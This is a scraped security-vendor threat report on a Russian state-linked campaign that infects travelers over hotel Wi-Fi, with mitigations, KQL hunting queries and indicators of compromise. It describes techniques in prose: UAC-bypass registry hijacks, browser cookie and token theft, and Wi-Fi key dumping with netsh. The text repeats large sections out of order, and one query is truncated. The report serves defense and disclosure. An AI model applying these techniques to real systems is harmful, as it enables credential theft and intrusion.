As a parallel collection path, ChocoShell launches Chrome, Edge, and Brave with the –remote-debugging-port flag and issues Network.getAllCookies through the Chrome DevTools Protocol (CDP). This completely bypasses ABE, enabling the browser to perform its own internal decryption and returns plaintext cookie values. To handle privilege issues (SYSTEM-launched browsers inherit the wrong token), the malware creates transient scheduled tasks with TASK_LOGON_INTERACTIVE_TOKEN to launch the browser under the signed-in user’s session. After extraction, the browser is stopped and relaunched with –restore-last-session to avoid alerting the user.

For Firefox family browsers (Firefox, Waterfox, LibreWolf, Floorp, Zen), the malware copies unencrypted cookies.sqlite databases from each profile. Additionally, ChocoShell collects Microsoft 365 and Azure Active Directory (AD) access tokens, refresh tokens, and Web Account Manager (WAM) tokens from .tbres files in the Token Broker cache. Collection of these tokens represents a significant threat to enterprise environments, as threat actors could replay SSO sessions without browser cookies. Additionally, Wi-Fi credentials are harvested via netsh wlan show profile with key=clear.

Exfiltration and cleanup. All collected data is aggregated into a JSON structure, GZip-compressed, Base64-encoded, and sent by POST to the C2’s /t/event endpoint. After exfiltration, all collected data variables are nulled, garbage collection is forced, VSS shadow copies are deleted via Windows Management Instrumentation (WMI), temporary elevation scripts are removed, and all UAC bypass registry keys (already cleaned during escalation) are verified removed.

FruitStone: Operator C2 panel

FruitStone is the web-based C2 panel that Storm-2945 operators use to manage the entire CaptiveCrunch campaign infrastructure. Implemented as a single-page application (HTML and JavaScript) serving as the front-end of the C2 server with all functionality exposed without authentication, FruitStone provides a centralized dashboard for managing compromised endpoints, building and deploying new campaign payloads, and reviewing all collected data (such as screenshots, keystrokes, browser credentials).

Operational cover. The panel is branded as “CloudSync Console” with a footer reading “Acuity Systems, Inc. — Cloud Infrastructure Portal v3.2.1,” designed to appear as legitimate enterprise cloud management software if the panel URL is discovered by defenders or hosting providers. This masquerading extends to the CornFlake agent’s service name (Cloud Sync Service) and description (“Synchronizes files with the cloud storage provider”), creating a consistent cover story across the toolchain.

Session management and multi-operator support. FruitStone uses JSON Web Token (JWT)-based authentication, session revocation, and rate limiting with IP blocking to prevent brute force attacks against the panel sign in. Multiple operators could be provisioned with individual accounts, and all active sessions are visible with IP address, user-agent, and creation time to enable operational security awareness across the operators.

Agent management. The panel displays all registered CornFlake agents in a dashboard with real-time status updates via Server-Sent Events (SSE). Each agent card shows comprehensive system information including hostname, username, OS version, CPU, RAM, disk usage, screen resolution, timezone, domain membership, and camera/microphone presence, all collected during the CornFlake posture sweep. Agents are grouped by country and subnet, with geographic distribution visualized on a map.

Operators could interact with individual agents through:

• Remote shell — Interactive cmd.exe or PowerShell command execution with command history
• File system browser — Live directory traversal and arbitrary file download from compromised hosts
• Collection tasking — On-demand screenshot, process list, keylog buffer flush, clipboard dump, security posture survey, ChromeKatz cookie/password extraction, camera capture, and audio recording
• Configuration push — Live runtime reconfiguration of C2 servers, watch paths, and C2 beacon timing
• Agent update — In-place implant update by pushing a new CornFlake build to a running agent
• Agent kill — Remote termination of the CornFlake implant

Campaign builder. A step-by-step wizard enables operators to configure and build new CornFlake payloads directly from the panel:

1. Identity — Campaign ID, C2 host and port, HTTP base URL, executable file name (svchost32.exe by default), and dropper type (C dropper at ~19 KB, Go stub at ~8 MB, or standalone self-installer)

2. Capabilities — Toggle individual collection modules: screenshots, process enumeration, keylogging, clipboard monitoring, posture survey, file exfiltration, and ChromeKatz browser credential theft

3. File Paths — Configure targeted directories and file extensions by category (documents, archives, images, code, data, emails, encryption keys)

4. Evasion — Enable garble symbol randomization (for GoLang payloads), XOR string encoding, GZip upload compression, and debug mode

Infrastructure management. FruitStone provides management interfaces for three layers of supporting infrastructure:

• Proxy relays — Multi-proxy C2 relay architecture with TLS certificate tracking (fingerprint, expiry), health checks, connection counts, bytes forwarded, and rotation capabilities that push updated server lists to all online agents
• Beacon profiles — Configurable timing profiles controlling agent sleep intervals, reconnection delays, TLS Server Name Indication (SNI) spoofing (like teams.microsoft.com), and DNS fallback domains
• Staging servers — External payload hosting infrastructure with push-to-deploy, file listing, and health monitoring

Device code abuse for cloud access

Since July 16, Microsoft has observed a portion of CaptiveCrunch landing pages redirecting users to device code authentication flow experiences. In these cases, users served these landings might be instructed to enter a device code into a legitimate Microsoft sign-in page, a technique commonly referred to as device code phishing.

Device code authentication is a legitimate OAuth workflow designed for devices that cannot support a traditional sign-in experience. However, threat actors could abuse this flow by initiating an authentication request on behalf of a user then convincing the user to enter an actor-controlled device code into a legitimate Microsoft authentication page. When successful, the victim authenticates the threat actor’s session rather than their own.

This activity is consistent with previously reported device code phishing operations conducted by Midnight Blizzard since August 2024. The observed technique does not appear fundamentally novel; however, integrating device code phishing into captive portal and traffic manipulation operations might increase the likelihood that users perceive the authentication request as legitimate. For additional details on Midnight Blizzard-related device code phishing techniques, see: Storm-2372 conducts device code phishing campaign. To understand other threat actors’ use of device code phishing and associated mitigations, see Inside an AI‑enabled device code phishing campaign.

How to protect against CaptiveCrunch activity

Minimize trust in hospitality and guest networks

When traveling, users should treat hotel, conference, airport, and other guest wireless networks as untrustworthy.

• Prefer private connectivity (including mobile hotspots, satellite, and eSIM-based cellular data connections) over public Wi‑Fi whenever practical.
  • For enterprise-managed devices, organizations can choose to prevent Wi-Fi connections to networks that have not been provisioned via Mobile Device Management (MDM). See: https://learn.microsoft.com/windows/client-management/mdm/policy-csp-wifi#allowmanualwificonfiguration
• Consider using enterprise-managed travel routers or hotspot devices that establish encrypted tunnels back to trusted corporate infrastructure before accessing sensitive resources.
• Avoid downloading software updates, certificates, browser updates, network troubleshooting tools, or security utilities presented through captive portals or other unexpected web prompts.
• Verify update requests through trusted operating system mechanisms rather than pop-up messages or website prompts.

Strengthen identity and access controls

Organizations should assume that public and hospitality network infrastructure might not be trustworthy and should adopt controls that limit exposure to traffic manipulation, credential theft, and device code phishing.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Use passwordless solutions like passkeys and implement multifactor authentication (MFA).
  • Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
  • Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force MFA.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 
• Use a Security Service Edge (SSE) solution like Global Secure Access to secure access to any app or resource using network, identity, and endpoint access controls.

Reduce exposure during captive portal registration

Organizations should review what information employees provide to hospitality providers when connecting to guest networks.

• Do not reuse corporate credentials on hotel, conference, or guest-network registration pages.
• Where possible, organizations should evaluate whether venue-provided wireless is required for corporate events and conferences.
• Organizations should minimize unnecessary disclosure of employee identities, organizational affiliations, and travel details when booking accommodations or registering for guest network access, consistent with corporate policy and applicable local requirements.

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint detects Storm-2945 activity under the detection Suspicious activity linked to a Russian state-sponsored threat actor has been detected. However, these alerts might be triggered by unrelated threat actor activity. The following chart lists Microsoft Defender detections specific to the TTPs utilized by Storm-2945 in this attack.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Midnight Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Detect file creation after Wi-Fi connectivity test on devices

The following query checks for a file creation on a device within two minutes of the device performing built‑in Network Connectivity Status Indicator (NCSI) test, which occurs when network connectivity is established to a Wi-Fi network with a captive portal. This activity might indicate an attacker’s initial access file presence on a device.

Please note that not all files discovered through this query might be malicious or related to this threat activity.

let ncsi_endpoints = dynamic(["msftconnecttest.com","edge-http.microsoft.com","msftncsi.com","captive.apple.com","clients1.google.com",
    "clients3.google.com","clients4.google.com","clients6.google.com","connectivitycheck.gstatic.com","connectivitycheck.android.com",
    "android.clients.google.com","www.gstatic.com","detectportal.firefox.com","detectportal.brave-http-only.com","cloudflareportal.com",
    "cloudflarecp.com","cloudflareok.com","connectivity-check.warp-svc","connectivity.cloudflareclient.com","spectrum.s3.amazonaws.com",
    "nmcheck.gnome.org"]);
let NCSIEvents = DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where RemoteUrl has_any (ncsi_endpoints)
    | project NCSI_Timestamp = Timestamp, DeviceId, DeviceName, RemoteUrl, NCSI_ReportId = ReportId, NCSI_InitiatingProcessFileName = InitiatingProcessFileName, NCSI_InitiatingProcessCommandLine = InitiatingProcessCommandLine, NCSI_AccountName = InitiatingProcessAccountName;
let FileDownloadEvents = DeviceFileEvents
    | where Timestamp > ago(7d)
    | where ActionType == "FileCreated"
    | where FileName has_any (".exe",".msi",".zip",".rar",".7z")
    | project Download_Timestamp = Timestamp, DeviceId, FileName, FolderPath, Download_ReportId = ReportId, Download_InitiatingProcessFileName = InitiatingProcessFileName, Download_InitiatingProcessCommandLine = InitiatingProcessCommandLine, Download_AccountName = InitiatingProcessAccountName;
NCSIEvents
| join kind=inner (
    FileDownloadEvents
) on DeviceId
| where Download_Timestamp >= NCSI_Timestamp and Download_Timestamp 

Detect connectivity to Storm-2945 infrastructure

The following query checks for connectivity to Storm-2945 infrastructure observed in this attack activity.

let target_domains = dynamic(["ms365-device.com", "ms365-live.com", "m365-owa.com", "owa-ms365.com"]);
let target_ips = dynamic(["31.57.243.154", "38.146.28.75", "38.146.28.132", "104.194.159.150", "107.189.26.194", "213.145.86.112"]);
DeviceNetworkEvents
| where RemoteUrl has_any(target_domains) or RemoteIP in (target_ips)
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RemoteUrl,
    RemoteIP,
    LocalIP,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    AccountName = InitiatingProcessAccountName,
    ReportId

Detect CornFlake RAT presence on affected systems

The following query checks for the presence of the CornFlake RAT binary.

DeviceProcessEvents
| where FolderPath == "%APPDATA%\\svchost32\\svchost32.exe"
   or FolderPath endswith @"\svchost32\svchost32.exe"
| project Timestamp, DeviceName, DeviceId, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ReportId

Detect CornFlake RAT Windows service registration

The following query checks for the CornFlake RAT Windows service registration.

DeviceRegistryEvents
| where RegistryKey has @"\SYSTEM\CurrentControlSet\Services\svchost32"
| where ActionType == "RegistryValueSet"
| where (RegistryValueName == "DisplayName" and RegistryValueData == "Cloud Sync Service")
    or (RegistryValueName == "Description" and RegistryValueData == "Synchronizes files with the cloud storage provider")
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RegistryKey,
    RegistryValueName,
    RegistryValueData,
    ActionType,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessAccountName,
    ReportId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser:

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_domains = dynamic(["213.145.86.112/t/pixel.gif", "213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "213.145.86.112/t/event"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect web sessions IP and file hash indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_sha_hashes =dynamic([“918fa52ae45ed60ba7cc8bdc99c3cbe9ab92e0375ec31fc05d0d4513be11c593”, “be99857449d2856dd5a84e21c8a3d5e0e01456adb44062ddec5a6b4970d8d42c”]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect domain and URL indicators of compromise using ASIM

The following query checks domain and URL IOCs across data sources supported by ASIM web session parser:

// file hash list - imFileEvent
// Domain list - _Im_WebSession
let ioc_domains = dynamic(["https://213.145.86.112/t/pixel.gif", "https://213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "https://213.145.86.112/t/event"]);
_Im_WebSession (url_has_any = ioc_domains)

ChocoShell C2 communications

The following query detects ChocoShell communications with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel.

let lookback = 30d;
let ioc_url_artifacts = dynamic(["/t/pixel.gif?m="]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstDomain  in (ioc_url_artifacts)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Indicators of compromise

References

• https://reliaquest.com/blog/threat-spotlight-dns-poisoning-tactics-expand-to-hospitality/
• https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication

Learn more

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The post CaptiveCrunch: Midnight Blizzard targets travelers worldwide for malware delivery and credential theft appeared first on Microsoft Security Blog.

Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945, a sub-cluster of Midnight Blizzard, conducting widespread but targeted traffic manipulation attacks involving hospitality sector networks served by captive portals worldwide. Despite some tactic, technique, and procedure (TTP) similarities to the Forest Blizzard DNS hijacking operation that we publicly disclosed in April 2026, we attribute this campaign, which we call CaptiveCrunch, to Storm-2945. As reported by ReliaQuest on July 23, a portion of this activity leverages doppelganger domains mimicking Microsoft online services to conduct follow-on adversary-in-the-middle (AitM) phishing operations that abuse the device code authentication flow in Microsoft Entra ID. Microsoft Threat Intelligence has also identified active traffic manipulation attacks leading to the delivery of malware on impacted systems. Microsoft has observed Storm-2945 leveraging AI to support a significant portion of these operations.

Today, we are sharing our findings on these ongoing intrusions to raise awareness of this threat and enable customers to protect their devices, especially while traveling. We provide our assessment of Storm-2945’s relationship to Midnight Blizzard and analysis of the CaptiveCrunch campaign, detailing the malware and tradecraft used in these operations. We also provide mitigation, detection, and hunting guidance to help organizations identify and defend against Storm-2945 and related activity.

Microsoft Threat Intelligence would like to thank our partners at Anthropic and OpenAI for their collaboration and support during this investigation.

The CaptiveCrunch campaign

Since February 2026, Storm-2945 has conducted AI-augmented operations including targeted device code and OAuth code phishing campaigns leading to Entra device registration and subsequent data collection from Microsoft 365. Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945 manipulating DNS and HTTP traffic from networks served by captive portals to redirect user traffic through actor-controlled infrastructure. Although our investigation into the initial compromise vector for the captive portal networks is ongoing, we have observed notable commonalities in the equipment and management systems used across multiple affected networks. These similarities suggest that the activity might not be limited to isolated compromises of individual venues and could reflect access to shared services within portions of the captive portal ecosystem.

As part of the CaptiveCrunch campaign, Storm-2945 has leveraged their AitM position to redirect users through actor-controlled phishing infrastructure and has also delivered malware purporting to be browser or operating system updates in response to automated connectivity checks issued by users’ browsers. Multiple variants have been delivered, including fully-featured Windows remote access trojans (RAT) in compiled Golang, with functionality to conduct system enumeration, collect files and keystrokes, steal credentials and session tokens, conduct audio and video surveillance, monitor for removable media, and provide the threat actor a remote shell on infected systems.  

The threat actor infrastructure leverages a variety of ClickFix techniques to elicit the user into downloading and executing the malware:

In addition to variants of malware targeting Windows systems, Microsoft Threat Intelligence is also aware of indications that the threat actor might be targeting Android devices with similar techniques as the ClickFix landings also include instructions for Android devices to download and install an APK file.

To date, Microsoft has identified widespread compromise of Wi-Fi networks at hospitality-related organizations and other networks serviced by captive portal equipment in several countries. ReliaQuest has identified this activity not only at hotels, but also conference centers and other shared venues, and assesses that the goal of this activity is to access the accounts of corporate travelers.

Storm-2945 and Midnight Blizzard

Microsoft Threat Intelligence assesses that Storm-2945 is an operational sub-cluster of Midnight Blizzard based on distinctive technical and operational overlaps. These include technical similarities to Storm-2372, a Midnight Blizzard initial access operations sub-cluster, also notable for their device code and OAuth code phishing operations tracked throughout 2025, Microsoft Graph-based email exfiltration, social engineering delivered via commercial messaging apps, and significant similarities in victimology.

Midnight Blizzard is a Russia-based threat actor attributed by the US and UK governments to the Foreign Intelligence Service of the Russian Federation, also known as the SVR. This threat actor is known to primarily target governments, diplomatic entities, non-governmental organizations (NGOs), and information technology (IT) service providers, primarily in the US and Europe. Midnight Blizzard is consistent and persistent in their operational targeting, and their objectives rarely change. Their focus is to collect intelligence through longstanding and dedicated espionage in support of Russian foreign policy interests.

Midnight Blizzard operations often involve compromise of valid accounts and, in some highly targeted cases, advanced techniques to compromise authentication mechanisms within an organization to expand access and evade detection. They utilize diverse initial access methods, and Midnight Blizzard is also adept at identifying and abusing OAuth applications to move laterally across cloud environments and for post-compromise activity, such as email collection.

CaptiveCrunch tradecraft and tooling

CornFlake: Remote access and infostealer implant

CornFlake is a full-featured Windows RAT written in Go that serves as Storm-2945’s primary persistent implant. Microsoft has observed the threat actor rapidly iterating on this malware layer, which features customizable capabilities from the social engineering user interface and data collection capabilities to anti-detection and evasion techniques.

On initial execution, CornFlake operates in dropper mode: it displays a convincing fake progress window designed to occupy the victim’s attention while the binary copies itself to %APPDATA%\svchost32\svchost32.exe and establishes persistence.

Fake window options configurable by the threat actor at build time:

• winupdate — A Windows Update screen displaying “Working on updates… Don’t turn off your computer”
• defender — A Windows Security virus scan
• directx — A DirectX End-User Runtime Web Installer
• vcredist — A Microsoft Visual C++ 2015-2022 Redistributable installer
• sysopt — A disk optimization utility
• netfix — A Windows Network Diagnostics tool
• browser — A browser update prompt
• pdfview — A document viewer installer

CornFlake registers as a Windows service named svchost32 with the display name “Cloud Sync Service” and description “Synchronizes files with the cloud storage provider”, deliberately mimicking the legitimate svchost.exe process. It establishes redundant persistence mechanisms: Windows service registrations, Registry Run keys, named scheduled tasks, and a persistence watchdog routine that runs continuously to restore any persistence mechanism that is removed by defenders or endpoint protection.

For command and control (C2), CornFlake performs an Elliptic Curve Diffie-Hellman (ECDH) P-256 ephemeral key exchange with the C2 server, derives a session key via SHA-256, and communicates over a custom JSON protocol framed within the encrypted channel. This provides an encrypted channel to the C2 server, with each C2 session using a unique ephemeral key, making decryption of captured traffic impossible without the session-specific private key. The runtime configuration file sync.dat supports hot reconfiguration of C2 servers, watched directories, file targeting patterns, and Transport Layer Security (TLS) settings without requiring redeployment.

Once established on a victim system, CornFlake provides the operator with a comprehensive collection toolkit, gated by configuration flags that allow selective activation post-deployment:

CornFlake also exposes a localhost HTTP API server (/upload, /reload, /status) that transforms the RAT into a modular platform: companion or next-stage payloads such as ChocoShell could task file exfiltration, trigger configuration hot reloads or check C2 connectivity using the pre-established secure C2 channel for communication.

ChocoShell: PowerShell infostealer

ChocoShell is the campaign’s Powershell-based infostealer, delivered and executed entirely in-memory. Its primary objective is the high-volume theft of browser session cookies, saved passwords, Microsoft 365 Single Sign-On (SSO) tokens, and Wi-Fi credentials from compromised systems. Where CornFlake provides the operator with a persistent, long-running foothold on the device, ChocoShell is designed to extract the most operationally valuable credentials, giving the operator access to victim cloud environments.

The ChocoShell script was authored with full developer comments that reveal the operator’s intent behind each code decision, including explicit references to Microsoft detection signatures and the reasoning behind specific evasion choices. The consistent coding standard and descriptive commentary suggest the author might have leveraged AI-assisted code generation.

Defense evasion. Upon execution, ChocoShell beacons to a hardcoded C2 server at 213.145.86[.]112 and implements several evasion techniques in sequence. It disables the Antimalware Scan Interface (AMSI) via .NET reflection to prevent ScriptBlock scanning and evades Microsoft behavioral detection that triggers on suspicious PowerShell web request cmdlets. A timing-based sandbox detection check is also employed as a virtual machine (VM) detection mechanism, silently exiting without performing any collection if detected.

C2 communication. ChocoShell communicates with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel. Additional tooling is fetched from /cdn/chunks/polyfill-7e2b.min.js, disguised as a JavaScript polyfill file. This downloaded module is Base64-decoded and executed in memory via [ScriptBlock]::Create(), providing browser encryption key extraction capabilities, SYSTEM token impersonation, and Defender signature locking. Exfiltrated data is sent by POST to /t/event as GZip-compressed, Base64-wrapped JSON.

Privilege escalation. ChocoShell requires administrative privileges for its most impactful capabilities: SYSTEM token impersonation for Chrome ABE decryption, Volume Shadow Copy Service (VSS) shadow copy creation, Defender signature locking. It implements three silent UAC bypass techniques with ordered fallback:

1. SilentCleanup task hijack: Writes a malicious command to HKCU\Environment\windir, then triggers the built-in SilentCleanup scheduled task, which resolves %windir% from the user’s environment, executing the threat actor’s command at elevated privilege. The registry value is cleaned up after two seconds to avoid cloud detection.
2. wsreset.exe COM hijack: Creates a COM handler key in HKCU\Software\Classes and launches the auto-elevating Windows Store reset tool.
3. sdclt.exe folder hijack: Hijacks HKCU\Software\Classes\Folder\shell\open\command and launches the Windows Backup utility with the /KickOffElev flag.

If none of the silent bypasses succeed (for example, the user is not a local administrator), ChocoShell falls back to a visible UAC prompt via Start-Process -Verb RunAs. Notably, the script also contains a variant designed to execute within the WinGet Desired State Configuration (DSC) host process (ConfigurationRemotingServer), suggesting an attack vector through malicious WinGet DSC configuration used in Windows machine provisioning.

Credential and session theft. Once running with elevated permissions, ChocoShell locks Defender signature updates and systematically harvests data from multiple sources. For Chromium-based browsers (Chrome, Edge, Brave, Opera, Opera GX, Vivaldi), it extracts the master encryption key from the browser’s Local State file, handling both the modern ABE scheme (Chrome v127+) and the legacy data protection API (DPAPI)-only scheme. ABE decryption requires SYSTEM-level DPAPI access, which the malware obtains by impersonating a SYSTEM process token borrowed from winlogon.exe, wininit.exe, or services.exe. Locked browser SQLite databases are accessed through three strategies: shared file access, Volume Shadow Service snapshots, and direct copy as a fallback.

As a parallel collection path, ChocoShell launches Chrome, Edge, and Brave with the –remote-debugging-port flag and issues Network.getAllCookies through the Chrome DevTools Protocol (CDP). This completely bypasses ABE, enabling the browser to perform its own internal decryption and returns plaintext cookie values. To handle privilege issues (SYSTEM-launched browsers inherit the wrong token), the malware creates transient scheduled tasks with TASK_LOGON_INTERACTIVE_TOKEN to launch the browser under the signed-in user’s session. After extraction, the browser is stopped and relaunched with –restore-last-session to avoid alerting the user.

For Firefox family browsers (Firefox, Waterfox, LibreWolf, Floorp, Zen), the malware copies unencrypted cookies.sqlite databases from each profile. Additionally, ChocoShell collects Microsoft 365 and Azure Active Directory (AD) access tokens, refresh tokens, and Web Account Manager (WAM) tokens from .tbres files in the Token Broker cache. Collection of these tokens represents a significant threat to enterprise environments, as threat actors could replay SSO sessions without browser cookies. Additionally, Wi-Fi credentials are harvested via netsh wlan show profile with key=clear.

Exfiltration and cleanup. All collected data is aggregated into a JSON structure, GZip-compressed, Base64-encoded, and sent by POST to the C2’s /t/event endpoint. After exfiltration, all collected data variables are nulled, garbage collection is forced, VSS shadow copies are deleted via Windows Management Instrumentation (WMI), temporary elevation scripts are removed, and all UAC bypass registry keys (already cleaned during escalation) are verified removed.

FruitStone: Operator C2 panel

FruitStone is the web-based C2 panel that Storm-2945 operators use to manage the entire CaptiveCrunch campaign infrastructure. Implemented as a single-page application (HTML and JavaScript) serving as the front-end of the C2 server with all functionality exposed without authentication, FruitStone provides a centralized dashboard for managing compromised endpoints, building and deploying new campaign payloads, and reviewing all collected data (such as screenshots, keystrokes, browser credentials).

Operational cover. The panel is branded as “CloudSync Console” with a footer reading “Acuity Systems, Inc. — Cloud Infrastructure Portal v3.2.1,” designed to appear as legitimate enterprise cloud management software if the panel URL is discovered by defenders or hosting providers. This masquerading extends to the CornFlake agent’s service name (Cloud Sync Service) and description (“Synchronizes files with the cloud storage provider”), creating a consistent cover story across the toolchain.

Session management and multi-operator support. FruitStone uses JSON Web Token (JWT)-based authentication, session revocation, and rate limiting with IP blocking to prevent brute force attacks against the panel sign in. Multiple operators could be provisioned with individual accounts, and all active sessions are visible with IP address, user-agent, and creation time to enable operational security awareness across the operators.

Agent management. The panel displays all registered CornFlake agents in a dashboard with real-time status updates via Server-Sent Events (SSE). Each agent card shows comprehensive system information including hostname, username, OS version, CPU, RAM, disk usage, screen resolution, timezone, domain membership, and camera/microphone presence, all collected during the CornFlake posture sweep. Agents are grouped by country and subnet, with geographic distribution visualized on a map.

Operators could interact with individual agents through:

• Remote shell — Interactive cmd.exe or PowerShell command execution with command history
• File system browser — Live directory traversal and arbitrary file download from compromised hosts
• Collection tasking — On-demand screenshot, process list, keylog buffer flush, clipboard dump, security posture survey, ChromeKatz cookie/password extraction, camera capture, and audio recording
• Configuration push — Live runtime reconfiguration of C2 servers, watch paths, and C2 beacon timing
• Agent update — In-place implant update by pushing a new CornFlake build to a running agent
• Agent kill — Remote termination of the CornFlake implant

Campaign builder. A step-by-step wizard enables operators to configure and build new CornFlake payloads directly from the panel:

1. Identity — Campaign ID, C2 host and port, HTTP base URL, executable file name (svchost32.exe by default), and dropper type (C dropper at ~19 KB, Go stub at ~8 MB, or standalone self-installer)

2. Capabilities — Toggle individual collection modules: screenshots, process enumeration, keylogging, clipboard monitoring, posture survey, file exfiltration, and ChromeKatz browser credential theft

3. File Paths — Configure targeted directories and file extensions by category (documents, archives, images, code, data, emails, encryption keys)

4. Evasion — Enable garble symbol randomization (for GoLang payloads), XOR string encoding, GZip upload compression, and debug mode

Infrastructure management. FruitStone provides management interfaces for three layers of supporting infrastructure:

• Proxy relays — Multi-proxy C2 relay architecture with TLS certificate tracking (fingerprint, expiry), health checks, connection counts, bytes forwarded, and rotation capabilities that push updated server lists to all online agents
• Beacon profiles — Configurable timing profiles controlling agent sleep intervals, reconnection delays, TLS Server Name Indication (SNI) spoofing (like teams.microsoft.com), and DNS fallback domains
• Staging servers — External payload hosting infrastructure with push-to-deploy, file listing, and health monitoring

Device code abuse for cloud access

Since July 16, Microsoft has observed a portion of CaptiveCrunch landing pages redirecting users to device code authentication flow experiences. In these cases, users served these landings might be instructed to enter a device code into a legitimate Microsoft sign-in page, a technique commonly referred to as device code phishing.

Device code authentication is a legitimate OAuth workflow designed for devices that cannot support a traditional sign-in experience. However, threat actors could abuse this flow by initiating an authentication request on behalf of a user then convincing the user to enter an actor-controlled device code into a legitimate Microsoft authentication page. When successful, the victim authenticates the threat actor’s session rather than their own.

This activity is consistent with previously reported device code phishing operations conducted by Midnight Blizzard since August 2024. The observed technique does not appear fundamentally novel; however, integrating device code phishing into captive portal and traffic manipulation operations might increase the likelihood that users perceive the authentication request as legitimate. For additional details on Midnight Blizzard-related device code phishing techniques, see: Storm-2372 conducts device code phishing campaign. To understand other threat actors’ use of device code phishing and associated mitigations, see Inside an AI‑enabled device code phishing campaign.

How to protect against CaptiveCrunch activity

Minimize trust in hospitality and guest networks

When traveling, users should treat hotel, conference, airport, and other guest wireless networks as untrustworthy.

• Prefer private connectivity (including mobile hotspots, satellite, and eSIM-based cellular data connections) over public Wi‑Fi whenever practical.
  • For enterprise-managed devices, organizations can choose to prevent Wi-Fi connections to networks that have not been provisioned via Mobile Device Management (MDM). See: https://learn.microsoft.com/windows/client-management/mdm/policy-csp-wifi#allowmanualwificonfiguration
• Consider using enterprise-managed travel routers or hotspot devices that establish encrypted tunnels back to trusted corporate infrastructure before accessing sensitive resources.
• Avoid downloading software updates, certificates, browser updates, network troubleshooting tools, or security utilities presented through captive portals or other unexpected web prompts.
• Verify update requests through trusted operating system mechanisms rather than pop-up messages or website prompts.

Strengthen identity and access controls

